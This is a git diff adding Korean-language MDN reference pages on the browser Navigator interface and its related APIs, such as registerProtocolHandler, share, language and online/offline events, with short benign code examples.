사용자에게 알려진 언어 목록을 나타내는 {{domxref("DOMString")}} 배열을 반환합니다. 정렬 순서는 사용자의 언어 선호도입니다.
+
{{domxref("Navigator.locks")}} {{readonlyinline}} {{experimental_inline}}
+
새로운 {{domxref("Lock")}} 객체를 요청하거나, 기존 Lock 객체를 질의할 수 있는 {{domxref("LockManager")}} 객체를 반환합니다.
+
{{domxref("Navigator.maxTouchPoints")}} {{readonlyInline}}
+
현재 장치에서 지원하는 최대 동시 터치 지점의 수를 반환합니다.
+
{{domxref("Navigator.mediaCapabilities")}} {{readonlyinline}} {{experimental_inline}}
+
주어진 형식과 출력 형태에 대한 인코딩 및 디코딩 능력을 알아낼 수 있는 {{domxref("MediaCapabilities")}} 객체를 반환합니다.
+
{{domxref("Navigator.mediaDevices")}} {{readonlyinline}}
+
Returns a reference to a {{domxref("MediaDevices")}} object which can then be used to get information about available media devices ({{domxref("MediaDevices.enumerateDevices()")}}), find out what constrainable properties are supported for media on the user's computer and user agent ({{domxref("MediaDevices.getSupportedConstraints()")}}), and to request access to media using {{domxref("MediaDevices.getUserMedia()")}}.
+
{{domxref("Navigator.mediaSession")}} {{readonlyinline}} {{experimental_inline}}
+
Returns {{domxref("MediaSession")}} object which can be used to provide metadata that can be used by the browser to present information about the currently-playing media to the user, such as in a global media controls UI.
+
{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}
+
Returns an {{domxref("MimeTypeArray")}} listing the MIME types supported by the browser.
+
{{domxref("Navigator.onLine")}} {{readonlyInline}}
+
Returns a {{domxref("Boolean")}} indicating whether the browser is working online.
+
{{domxref("Navigator.permissions")}} {{readonlyinline}} {{experimental_inline}}
+
Returns a {{domxref("Permissions")}} object that can be used to query and update permission status of APIs covered by the Permissions API.
+
{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}
+
Returns a {{domxref("PluginArray")}} listing the plugins installed in the browser.
+
{{domxref("Navigator.presentation")}} {{readonlyInline}} {{experimental_inline}}
+
Returns a reference to the {{domxref("Presentation")}} API.
+
{{domxref("Navigator.serviceWorker")}} {{readonlyInline}}
+
Returns a {{domxref("ServiceWorkerContainer")}} object, which provides access to registration, removal, upgrade, and communication with the {{domxref("ServiceWorker")}} objects for the associated document.
+
{{domxref("NavigatorStorage.storage")}} {{readonlyinline}}
+
Returns the singleton {{domxref('StorageManager')}} object used for managing persistence permissions and estimating available storage on a site-by-site/app-by-app basis.
+
{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}
+
Returns the user agent string for the current browser.
+
{{domxref("Navigator.vendor")}} {{readonlyInline}}
+
Returns the vendor name of the current browser (e.g., "Netscape6").
+
{{domxref("Navigator.webdriver")}} {{readonlyInline}} {{experimental_inline}}
+
Indicates whether the user agent is controlled by automation.
+
{{domxref("Navigator.xr")}} {{readonlyInline}} {{experimental_inline}}
+
Returns {{domxref("XR")}} object, which represents the entry point into the WebXR API.
+
+ +

비표준 속성

+ +
+
{{domxref("Navigator.buildID")}} {{non-standard_inline}}
+
Returns the build identifier of the browser. In modern browsers this property now returns a fixed timestamp as a privacy measure, e.g. 20181001000000 in Firefox 64 onwards.
+
{{domxref("Navigator.securitypolicy")}} {{non-standard_inline}}
+
Returns an empty string. In Netscape 4.7x, returns "US & CA domestic policy" or "Export policy".
+
{{domxref("Navigator.standalone")}} {{non-standard_inline}}
+
Returns a boolean indicating whether the browser is running in standalone mode. Available on Apple's iOS Safari only.
+
{{domxref("Navigator.wakeLock")}} {{readonlyInline}} {{non-standard_inline}}
+
Returns a {{domxref("WakeLock")}} interface you can use to request screen wake locks and prevent screen from dimming, turning off, or showing a screen saver.
+
+ +

메서드

+ +

아무 메서드도 상속하지 않지만, {{domxref("NavigatorID")}}, {{domxref("NavigatorContentUtils")}}, {{domxref("NavigatorUserMedia")}}, {{domxref("NavigatorStorageUtils")}}가 정의하는 메서드를 구현합니다.

+ +
+
{{domxref("Navigator.canShare()")}}
+
Returns true if a call to Navigator.share() would succeed.
+
{{domxref("Navigator.registerProtocolHandler()")}}
+
Allows web sites to register themselves as a possible handler for a given protocol.
+
{{domxref("Navigator.requestMediaKeySystemAccess()")}}
+
Returns a {{jsxref("Promise")}} for a MediaKeySystemAccess object.
+
{{domxref("Navigator.sendBeacon()")}}
+
Used to asynchronously transfer a small amount of data using {{Glossary("HTTP")}} from the User Agent to a web server.
+
{{domxref("Navigator.share()")}}
+
Invokes the native sharing mechanism of the current platform.
+
{{domxref("Navigator.vibrate()")}}
+
Causes vibration on devices with support for it. Does nothing if vibration support isn't available.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#the-navigator-object', 'the Navigator object')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +
{{Compat("api.Navigator")}}
diff --git a/files/ko/web/api/navigator/mediadevices/index.html b/files/ko/web/api/navigator/mediadevices/index.html new file mode 100644 index 0000000000..01a4984acd --- /dev/null +++ b/files/ko/web/api/navigator/mediadevices/index.html @@ -0,0 +1,56 @@ +--- +title: Navigator.mediaDevices +slug: Web/API/Navigator/mediaDevices +tags: + - Media + - Media Capture and Streams API + - Media Streams API + - Navigator + - Property + - Read-only + - Reference + - Web +translation_of: Web/API/Navigator/mediaDevices +--- +
{{APIRef("Media Capture and Streams")}}
+ +

Navigator.mediaDevices 읽기 전용 속성은 카메라, 마이크, 화면 공유와 같이 현재 연결된 미디어 입력 장치에 접근할 수 있는 {{domxref("MediaDevices")}} 객체를 반환합니다.

+ +

구문

+ +
var mediaDevices = navigator.mediaDevices;
+
+ +

반환 값

+ +

{{domxref("MediaDevices")}} 싱글톤 객체.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('Media Capture', '#widl-NavigatorUserMedia-mediaDevices', 'NavigatorUserMedia.mediaDevices')}}{{Spec2('Media Capture')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Navigator.mediaDevices")}}

+ +

참조

+ + diff --git a/files/ko/web/api/navigator/mozmobilemessage/index.html b/files/ko/web/api/navigator/mozmobilemessage/index.html new file mode 100644 index 0000000000..7645d8d833 --- /dev/null +++ b/files/ko/web/api/navigator/mozmobilemessage/index.html @@ -0,0 +1,58 @@ +--- +title: window.navigator.mozMobileMessage +slug: Web/API/Navigator/mozMobileMessage +tags: + - Non-standard + - Obsolete +translation_of: Archive/B2G_OS/API/Navigator/mozMobileMessage +--- +

{{ ApiRef() }}

+ +

{{ non-standard_header() }}

+ +

{{ B2GOnlyHeader2('certified') }}

+ +

요약

+ +

{{ domxref("MozMobileMessageManager") }} 객체를 반환한다. 이 객체는 MMS와 SMS 메시지를 보내거나 받는데 사용된다.

+ +

명세

+ +

 

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+ +

설정 & 이용 가능한 환경

+ +
 
+ + + +

참고 자료

+ + diff --git a/files/ko/web/api/navigator/moznotification/index.html b/files/ko/web/api/navigator/moznotification/index.html new file mode 100644 index 0000000000..9c593ec4a1 --- /dev/null +++ b/files/ko/web/api/navigator/moznotification/index.html @@ -0,0 +1,63 @@ +--- +title: navigator.mozNotification +slug: Web/API/Navigator/mozNotification +translation_of: Archive/API/Navigator/mozNotification +--- +
+

The support for this property as been dropped in favor of the standard {{domxref("Notification")}} constructor.

+
+ +

Provides support for creating {{ domxref("notification") }} objects, which are used to display desktop notification alerts to the user. Currently, these are only supported on Firefox Mobile and Firefox OS. See Displaying notifications for an example.

+ +

Method overview

+ + + + + + + +
notification createNotification(in DOMString title, in DOMString description, in DOMString iconURL {{ optional_inline() }});
+ +

Methods

+ +

createNotification()

+ +

Creates and returns a notification object that can be used to display the specified message with an optional URL.

+ +
notification createNotification(
+  in DOMString title,
+  in DOMString description,
+  in DOMString iconURL {{ optional_inline() }}
+);
+
+ +
Parameters
+ +
+
title
+
알림 타이틀.
+
description
+
알림에 표시할 텍스트.
+
iconURL {{ optional_inline() }}
+
A URL identifying the image to display in the notification.
+
+ +
Return value
+ +

A new {{ domxref("notification") }} object.

+ +

Permissions

+ +

manifest 파일에 "desktop-notification" permission 을 추가 해야 한다.

+ +
"permissions": {
+    "desktop-notification":{}
+}
+ +

See also

+ + diff --git a/files/ko/web/api/navigator/mozsms/index.html b/files/ko/web/api/navigator/mozsms/index.html new file mode 100644 index 0000000000..d6c9c16983 --- /dev/null +++ b/files/ko/web/api/navigator/mozsms/index.html @@ -0,0 +1,67 @@ +--- +title: window.navigator.mozSms +slug: Web/API/Navigator/mozSms +tags: + - API + - Firefox OS + - Mobile + - Obsolete + - Property + - WebSMS +translation_of: Archive/B2G_OS/API/Navigator/mozSms +--- +

{{APIRef("Mobile Messaging API")}}

+ +
+

Obsolete since Gecko 25 (Firefox 25 / Thunderbird 25 / SeaMonkey 2.22)
+ This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it.

+
+ +
+

This API is available on Firefox OS for internal applications only.

+
+ +

MozSmsManager 객체를 반환한다. 이 객체는 SMS 메시지를 보내거나 받는데 사용된다.

+ +
+

Note: Do not use anymore! This object has been removed in favor of Navigator.mozMobileMessage.

+
+ +

명세

+ +

이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 System Application Working Group에서 논의되고 있습니다.

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+ +

설정 & 이용 가능한 환경

+ +
 
+ + + +

참고 자료

+ + diff --git a/files/ko/web/api/navigator/registerprotocolhandler/index.html b/files/ko/web/api/navigator/registerprotocolhandler/index.html new file mode 100644 index 0000000000..1b146a356e --- /dev/null +++ b/files/ko/web/api/navigator/registerprotocolhandler/index.html @@ -0,0 +1,125 @@ +--- +title: Navigator.registerProtocolHandler() +slug: Web/API/Navigator/registerProtocolHandler +tags: + - API + - DOM + - Method + - Navigator + - Reference +translation_of: Web/API/Navigator/registerProtocolHandler +--- +
{{APIRef("HTML DOM")}}{{securecontext_header}}
+ +

Navigator.registerProtocolHandler() 메서드는 웹 사이트가 특정 {{glossary("URL")}} 스킴("프로토콜")을 열거나 처리할 수 있도록 등록합니다. 이를테면, 이메일 사이트가 mailto: URL에, VoIP 사이트가 tel: URL에 자신을 등록할 때 사용할 수 있습니다.

+ +

구문

+ +
navigator.registerProtocolHandler(protocol, url, title);
+ +

매개변수

+ +
+
protocol
+
웹 사이트가 처리하고자 하는 프로토콜 문자열. 예컨대 SMS 문자 메시지를 처리하고자 한다면 "sms"를 전달하세요.
+
url
+
처리기의 URL. 플레이스홀더로 사용할 %s를 반드시 포함해야 합니다. 실제 사용 시, %s에는 처리 대상 URL을 이스케이프 처리해 대입합니다. +
참고: 처리기의 URL은 반드시 http 또는 https 스킴을 필요로 합니다. 일부 브라우저는 보안상 https를 요구하므로 https를 사용하는 편이 좋습니다.
+
+
title
+
사람이 읽을 수 있는 형태의 처리기 이름. 브라우저 설정 등 처리기 목록에서 사용자에게 보이는 이름입니다.
+
+ +

예외

+ +
+
SecurityError
+
{{glossary("user agent", "사용자 에이전트")}}가 등록을 막았습니다. 다음 상황에서 발생할 수 있습니다. +
    +
  • 등록하려는 스킴(프로토콜)이 유효하지 않습니다. 브라우저가 직접 처리하는 스킴을 등록하려 하면 발생합니다. (https:, about:, ...)
  • +
  • 처리기 URL의 {{glossary("출처")}}가 API를 호출한 페이지 출처와 일치하지 않습니다.
  • +
  • 브라우저가 보안 맥락에서의 registerProtocolHandler() 호출을 요구합니다.
  • +
  • 브라우저가 처리기 URL의 HTTPS 사용을 요구합니다.
  • +
+
+
SyntaxError
+
처리기 URL에 %s 플레이스홀더가 없습니다.
+
+ +

가능한 스킴

+ +

보안상의 이유로, registerProtocolHandler()가 등록할 수 있는 스킴은 제한적입니다.

+ +

사용자 지정 스킴은 다음 조건을 만족해야 합니다.

+ + + +

아래 {{anch("예제")}}에서 사용한 web+burger는 제약조건을 만족하는 사용자 지정 스킴입니다.

+ +

그 외에는 다음 스킴을 등록할 수 있습니다.

+ +
+ +
+ +

예제

+ +

사이트 주소가 burgers.example.com인 경우, 아래 코드로 web+burger: 스킴에 대한 처리기를 등록할 수 있습니다.

+ +
navigator.registerProtocolHandler("web+burger",
+                                  "https://burgers.example.com/?burger=%s",
+                                  "Burger handler");
+ +

이제, web+burger: 링크는 사용자를 burgers.example.com로 보내고, 자신의 URL을 %s 위치에 삽입합니다.

+ +

이때, 예제 코드는 처리기 URL과 같은 {{glossary("출처")}}를 가져야 하므로 https://burgers.example.com의 페이지 안에서 호출해야 하며, 처리기 URL은 http/https를 사용해야 합니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'system-state.html#custom-handlers', 'registerProtocolHandler()')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Navigator.registerProtocolHandler")}}

diff --git a/files/ko/web/api/navigator/share/index.html b/files/ko/web/api/navigator/share/index.html new file mode 100644 index 0000000000..852999aeb6 --- /dev/null +++ b/files/ko/web/api/navigator/share/index.html @@ -0,0 +1,68 @@ +--- +title: Navigator.share +slug: Web/API/Navigator/share +translation_of: Web/API/Navigator/share +--- +
{{APIRef("HTML DOM")}}{{SeeCompatTable}}
+ +

Navigator.share() 메소드는 Web Share API 의 부분으로서 디바이스의 네이티브 공유하기 메커니즘을 작동시킨다. Web Share API 가 지원되지 않는다면, 이 메소드는 undefined 일 것이다.

+ +

Syntax

+ +
var sharePromise = window.navigator.share(data);
+
+ +

Parameters

+ +
+
data
+
공유할 데이터가 담긴 객체. 아래의 필드들 중 적어도 하나는 명시되어야 한다. 사용 가능한 옵션들은:
+
+ + + +
+
+ +

Return value

+ +

사용자가 공유하기 액션을 완료하면 resolve 될 {{domxref("Promise")}}. data 파라메터가 정확하게 명시되지 않는다면 즉시 reject 될 것이다.

+ +

예를 들어, 안드로이드용 크롬에서 반환되는 Promise 는 사용자가 공유할 애플리케이션을 선택한 후에 resolve 될 것이다.

+ +

Examples

+ +
navigator.share({
+  title: document.title,
+  text: 'Hello World',
+  url: 'https://developer.mozilla.org',
+}); // share the URL of MDN
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Share API','#share-method','share()')}}{{Spec2('Web Share API')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.Navigator.share")}}

diff --git a/files/ko/web/api/navigatorid/index.html b/files/ko/web/api/navigatorid/index.html new file mode 100644 index 0000000000..d3f1159cc4 --- /dev/null +++ b/files/ko/web/api/navigatorid/index.html @@ -0,0 +1,74 @@ +--- +title: NavigatorID +slug: Web/API/NavigatorID +translation_of: Web/API/NavigatorID +--- +

{{APIRef("HTML DOM")}}

+ +

NavigatorID 인터페이스에는 브라우저의 ID와 관련된 메소드 및 특성이 들어있습니다.

+ +

NavigatorID, 에는 유형의 객체가 없지만, {{domxref("Navigator")}} 또는 {{domxref("WorkerNavigator")}}와 같은 인터페이스는 이를 포함합니다.

+ +

Properties

+ +

NavigatorID 인터페이스는 속성을 상속하지 않습니다.

+ +
+
{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{deprecated_inline}}
+
모든 브라우저에서 항상 'Mozilla'를 반환합니다. 이 속성은 호환성 목적으로만 유지됩니다.
+
{{domxref("NavigatorID.appName")}} {{readonlyInline}} {{deprecated_inline}}
+
브라우저의 공식명을 반환합니다. 올바른 값을 반환하려면 이 속성에 의존하지 마세요.
+
{{domxref("NavigatorID.appVersion")}} {{readonlyInline}} {{deprecated_inline}}
+
브라우저의 버젼을 문자열로 반환합니다. 올바른 값을 반환하려면 이 속성에 의존하지 마세요.
+
{{domxref("NavigatorID.platform")}} {{readonlyInline}} {{deprecated_inline}}
+
브라우저의 플랫폼을 문자열로 반환합니다. 올바른 값을 반환하려면 이 속성에 의존하지 마세요.
+
{{domxref("NavigatorID.product")}} {{readonlyInline}} {{deprecated_inline}}
+
모든 브라우저에서 항상 'Gecko' 를 반환합니다. 이 속성은 호환성 목적으로만 유지됩니다.
+
{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}
+
현재 브라우저의 사용자 에이전트 문자열을 반환합니다.
+
+ +

Methods

+ +

NavigatorID 인터페이스는 메소드를 상속하지 않습니다.

+ +
+
{{domxref("NavigatorID.taintEnabled()")}} {{deprecated_inline()}}
+
언제나 false를 반환합니다. 자바스크립트의 taint/untaint 함수는 1.2 버젼에서 없어졌습니다. 이 방법은 호환성 목적으로만 유지됩니다.Not available in workers.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#navigatorid', 'NavigatorID')}}{{Spec2('HTML WHATWG')}}호환성을 위해 appCodeName 속성과 taintEnabled() 메서드를 추가했습니다.
{{SpecName('HTML5 W3C', '#navigatorid', 'NavigatorID')}}{{Spec2('HTML5 W3C')}}초기 사양
+ +

브라우저 호환성

+ + + +

{{Compat("api.NavigatorID")}}

+ +

그외에 볼 것

+ + diff --git a/files/ko/web/api/navigatorlanguage/index.html b/files/ko/web/api/navigatorlanguage/index.html new file mode 100644 index 0000000000..0bec377b46 --- /dev/null +++ b/files/ko/web/api/navigatorlanguage/index.html @@ -0,0 +1,65 @@ +--- +title: NavigatorLanguage +slug: Web/API/NavigatorLanguage +tags: + - API + - HTML-DOM + - Reference +translation_of: Web/API/NavigatorLanguage +--- +

{{APIRef("HTML DOM")}}

+ +

NavigatorLanguage contains methods and properties related to the language of the navigator.

+ +

There is no object of type NavigatorLanguage, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.

+ +

Properties

+ +

The NavigatorLanguage interface doesn't inherit any property.

+ +
+
{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}
+
Returns a {{domxref("DOMString")}} representing the preferred language of the user, usually the language of the browser UI. The null value is returned when this is unknown.
+
{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}
+
Returns an array of {{domxref("DOMString")}} representing the languages known to the user, by order of preference.
+
+ +

Methods

+ +

The NavigatorLanguage interface neither implements, nor inherit any method.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#navigatorlanguage', 'NavigatorLanguage')}}{{Spec2('HTML WHATWG')}}Since the {{SpecName('HTML5 W3C')}} snapshot, the languages property has been added.
{{SpecName('HTML5 W3C', '#navigatorlanguage', 'NavigatorLanguage')}}{{Spec2('HTML5 W3C')}}Initial specification; snapshot of  an early version{{SpecName('HTML WHATWG')}}.
+ +

Browser compatibility

+ + + +

{{Compat("api.NavigatorLanguage")}}

+ +

See also

+ + diff --git a/files/ko/web/api/navigatorlanguage/language/index.html b/files/ko/web/api/navigatorlanguage/language/index.html new file mode 100644 index 0000000000..a6488bff2d --- /dev/null +++ b/files/ko/web/api/navigatorlanguage/language/index.html @@ -0,0 +1,133 @@ +--- +title: NavigatorLanguage.language +slug: Web/API/NavigatorLanguage/language +translation_of: Web/API/NavigatorLanguage/language +--- +
{{APIRef("HTML DOM")}}
+ +

 

+ +

NavigatorLanguage.language 읽기 전용 속성은 사용자의 기본 언어 (일반적으로 브라우저 UI의 언어)를 나타내는 문자열을 반환합니다.

+ +

Syntax

+ +
var lang = navigator.language
+
+ +

Value

+ +

A {{domxref("DOMString")}}. lang stores a string representing the language version as defined in BCP 47. Examples of valid language codes include "en", "en-US", "fr", "fr-FR", "es-ES", etc.

+ +

Note that in Safari on macOS and iOS prior to 10.2, the country code returned is lowercase: "en-us", "fr-fr" etc.

+ +

Example

+ +
if (window.navigator.language != 'en') {
+  doLangSelect(window.navigator.language);
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('HTML5.1', '#dom-navigator-language', 'NavigatorLanguage.language') }}{{ Spec2('HTML5.1') }}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}[1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}[2]
+ {{CompatGeckoDesktop("5.0")}}[3]
11.0[4]{{CompatVersionUnknown}}{{CompatVersionUnknown}}
on {{domxref("WorkerNavigator")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("35")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatNo}}[4]{{CompatVersionUnknown}}{{CompatVersionUnknown}}
on {{domxref("WorkerNavigator")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("35")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Returns the browser UI language, not the value of the Accept-Language HTTP header.

+ +

[2] Prior to Gecko 2.0 {{geckoRelease("2.0")}}, this property's value was also part of the user agent string, as reported by {{domxref("window.navigator.userAgent", "navigator.userAgent")}}.

+ +

[3] Starting in Gecko 5.0 {{geckoRelease("5.0")}}, this property's value is based on the value of the Accept-Language HTTP header.

+ +

[4] Closest available (non-standard) properties are userLanguage and browserLanguage.

+ +

See also

+ + diff --git a/files/ko/web/api/navigatoronline/index.html b/files/ko/web/api/navigatoronline/index.html new file mode 100644 index 0000000000..9c61e0f858 --- /dev/null +++ b/files/ko/web/api/navigatoronline/index.html @@ -0,0 +1,63 @@ +--- +title: NavigatorOnLine +slug: Web/API/NavigatorOnLine +tags: + - API + - HTML-DOM +translation_of: Web/API/NavigatorOnLine +--- +

{{APIRef("HTML DOM")}}

+ +

The NavigatorOnLine interface contains methods and properties related to the connectivity status of the browser.

+ +

There is no object of type NavigatorOnLine, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.

+ +

Properties

+ +

The NavigatorOnLine interface doesn't inherit any property.

+ +
+
{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}
+
Returns a {{domxref("Boolean")}} indicating whether the browser is working online.
+
+ +

Methods

+ +

The NavigatorOnLine interface neither implements, nor inherit any method.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}{{Spec2('HTML WHATWG')}}No change from the latest snapshot, {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName('HTML WHATWG')}} with its initial specification.
+ +

Browser compatibility

+ + + +

{{Compat("api.NavigatorOnLine")}}

+ +

See also

+ + diff --git a/files/ko/web/api/navigatoronline/online_and_offline_events/index.html b/files/ko/web/api/navigatoronline/online_and_offline_events/index.html new file mode 100644 index 0000000000..0869f15f6d --- /dev/null +++ b/files/ko/web/api/navigatoronline/online_and_offline_events/index.html @@ -0,0 +1,107 @@ +--- +title: Online and offline events +slug: Web/API/NavigatorOnLine/Online_and_offline_events +tags: + - AJAX + - DOM + - Web Development +translation_of: Web/API/NavigatorOnLine/Online_and_offline_events +--- +

In progress {{ Fx_minversion_header(3) }} Firefox 3WHATWG 웹 애플리케이션 1.0 명세에 기술된 온라인/오프라인 이벤트를 구현합니다.

+ +

개요

+ +

좋은 오프라인 가능(offline-capable) 웹 애플리케이션을 작성하려면 여러분의 애플리케이션이 실제로 오프라인이 되는 때를 알아야 합니다. 덧붙여, 여러분의 애플리케이션이 '온라인' 상태로 돌아오는 때도 알아야 합니다. 사실, 이 요구사항은 다음과 같이 정리할 수 있습니다.

+ +
    +
  1. 여러분이 서버와 재동기화할 수 있도록 사용자가 온라인으로 돌아오는 때를 알아야 합니다.
  2. +
  3. 여러분의 서버 요청을 나중에 처리하기 위해 대기시킬 수 있도록 사용자가 오프라인이 되는 때를 알아야 합니다.
  4. +
+ +

온라인/오프라인 이벤트는 이 과정을 단순하게 만드는 것을 도와줍니다.

+ +

여러분의 웹 애플리케이션은 특정 문서가 오프라인 자원 캐시에 보관되는 것을 확실하게 할 필요도 있습니다. 이를 위해서는 다음과 같이 HEAD 섹션에 LINK 요소를 포함합니다.

+ +
<link rel="offline-resource" href="myresource">
+
+ +

이는 Firefox 3 및 이후 버전에서 HTML을 처리할 때, 참조하는 자원을 오프라인에서 사용할 수 있도록 특별한 오프라인 자원 캐시에 저장하도록 합니다.

+ +

API

+ + + +

navigator.onLinetrue/false(온라인은 true, 오프라인은 false)를 보관하는 속성입니다. 이 속성은 사용자가 해당 메뉴 항목(파일 -> 오프라인 작업)을 선택하여 "오프라인 모드"로 전환할 때마다 갱신됩니다.

+ +

또한 이 속성은 브라우저가 네트워크에 더 이상 연결할 수 없을 때마다 갱신됩니다. 명세에 따르면:

+ +
사용자가 링크를 따라가거나 스크립트가 원격 페이지를 요청할 때 사용자 에이전트가 네트워크에 접속할 수 없으면 (혹은 그러한 시도가 실패할 것이라는 것을 안다면) navigator.onLine 속성은 false를 반환해야 합니다...
+ +

Firefox 2는 윈도우와 리눅스에서 브라우저의 온라인/오프라인 모드가 바뀔 때와 네트워크가 끊어지거나 다시 접속될 때 이 속성을 갱신합니다.

+ +

이 속성은 Firefox와 Internet Explorer의 이전 버전에도 있으므로 (명세는 이러한 기존 구현을 바탕으로 합니다) 이를 즉시 사용할 수 있습니다. 네트워크 상태의 자동 감지는 Firefox 2에서 구현되었습니다.

+ +

"online"과 "offline" 이벤트

+ +

Firefox 3는 두 가지 새로운 이벤트를 도입하고 있습니다: 바로 "online"과 "offline"입니다. 이 두 가지 이벤트는 브라우저가 온라인과 오프라인 모드를 전환할 때 각 페이지의 <body>에서 발생합니다. 덧붙여, 이 이벤트는 document.body에서 document로 전달되고 window에서 끝납니다. 두 가지 이벤트 모두 취소 불가능한(non-cancellable) 이벤트입니다(여러분은 사용자가 온라인이 되거나 오프라인이 되는 것을 막을 수 없습니다).

+ +

널리 알려진 몇 가지 방법으로 해당 이벤트에 대한 리스너(listener)를 등록할 수 있습니다.

+ + + +

예제

+ +

이벤트가 동작하는지 확인할 수 있는 간단한 테스트 케이스가 있습니다. XXX When mochitests for this are created, point to those instead and update this example -nickolay

+ +
 <!doctype html>
+ <html>
+ <head>
+   <script>
+     function updateOnlineStatus(msg) {
+       var status = document.getElementById("status");
+       var condition = navigator.onLine ? "ONLINE" : "OFFLINE";
+       status.setAttribute("class", condition);
+       var state = document.getElementById("state");
+       state.innerHTML = condition;
+       var log = document.getElementById("log");
+       log.appendChild(document.createTextNode("Event: " + msg + "; status=" + condition + "\n"));
+     }
+     function loaded() {
+       updateOnlineStatus("load");
+       document.body.addEventListener("offline", function () {
+         updateOnlineStatus("offline")
+       }, false);
+       document.body.addEventListener("online", function () {
+         updateOnlineStatus("online")
+       }, false);
+     }
+   </script>
+   <style>...</style>
+ </head>
+ <body onload="loaded()">
+   <div id="status"><p id="state"></p></div>
+   <div id="log"></div>
+ </body>
+ </html>
+
+ +

참고

+ + + +

 

+ +

 

+ +
 
+ +

{{ languages( { "en": "en/Online_and_offline_events", "es": "es/Eventos_online_y_offline", "fr": "fr/\u00c9v\u00e8nements_online_et_offline", "ja": "ja/Online_and_offline_events", "pl": "pl/Zdarzenia_online_i_offline", "pt": "pt/Eventos_online_e_offline" } ) }}

diff --git a/files/ko/web/api/networkinformation/connection/index.html b/files/ko/web/api/networkinformation/connection/index.html new file mode 100644 index 0000000000..1afa39d9c1 --- /dev/null +++ b/files/ko/web/api/networkinformation/connection/index.html @@ -0,0 +1,105 @@ +--- +title: window.navigator.connection +slug: Web/API/NetworkInformation/connection +translation_of: Web/API/Navigator/connection +--- +

{{ Apiref() }}

+

{{ SeeCompatTable() }}

+

요약

+

네트워크 정보 API는 사용자 기기의 현재 대역폭이나 연결이 과금되는 지와 같은 정보를 알려줍니다. 이를 이용해서 사용자의 연결에 기반해서 높은 품질의 콘텐츠를 제공할지 낮은 품질의 콘텐츠를 제공할지 선택할 수 있습니다.

+

속성

+
+
+ {{domxref("window.navigator.connection.bandwidth", "connection.bandwidth")}} {{ReadOnlyInline}}
+
+ 현재 연결에 대한 다운로드 대역폭을 MB/s 단위의 double 형태로 알려줍니다. 사용자가 오프라인일 경우는 0이고 알 수 없을 경우에는 infinity로 나옵니다.
+
+ {{domxref("window.navigator.connection.metered", "connection.metered")}} {{ReadOnlyInline}}
+
+ 연결이 과금이 되는 경우(예를 들어 pay-per-use) Boolean 형의 true가 반환됩니다.
+
+

이벤트 핸들러

+
+
+ {{domxref("window.navigator.connection.onchange", "connection.onchange")}}
+
+ {{event("change")}} 이벤트에 대한 이벤트 핸들러 속성입니다. 연결 정보가 변경될 때 이벤트가 발생합니다.
+
+
+

주의: connection 객체는 이벤트를 다루기 위한 {{domxref("EventTarget.addEventListener","addEventListener")}} 메서드를 사용할 수 있는 {{domxref("EventTarget")}}을 상속받습니다.

+
+

명세

+ + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Network Information', '', 'Network Information API') }}{{ Spec2('Network Information') }}Initial specification
+

브라우저 호환성

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support20? {{ property_prefix("webkit") }}12.0 {{ property_prefix("moz") }} (see notes){{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+
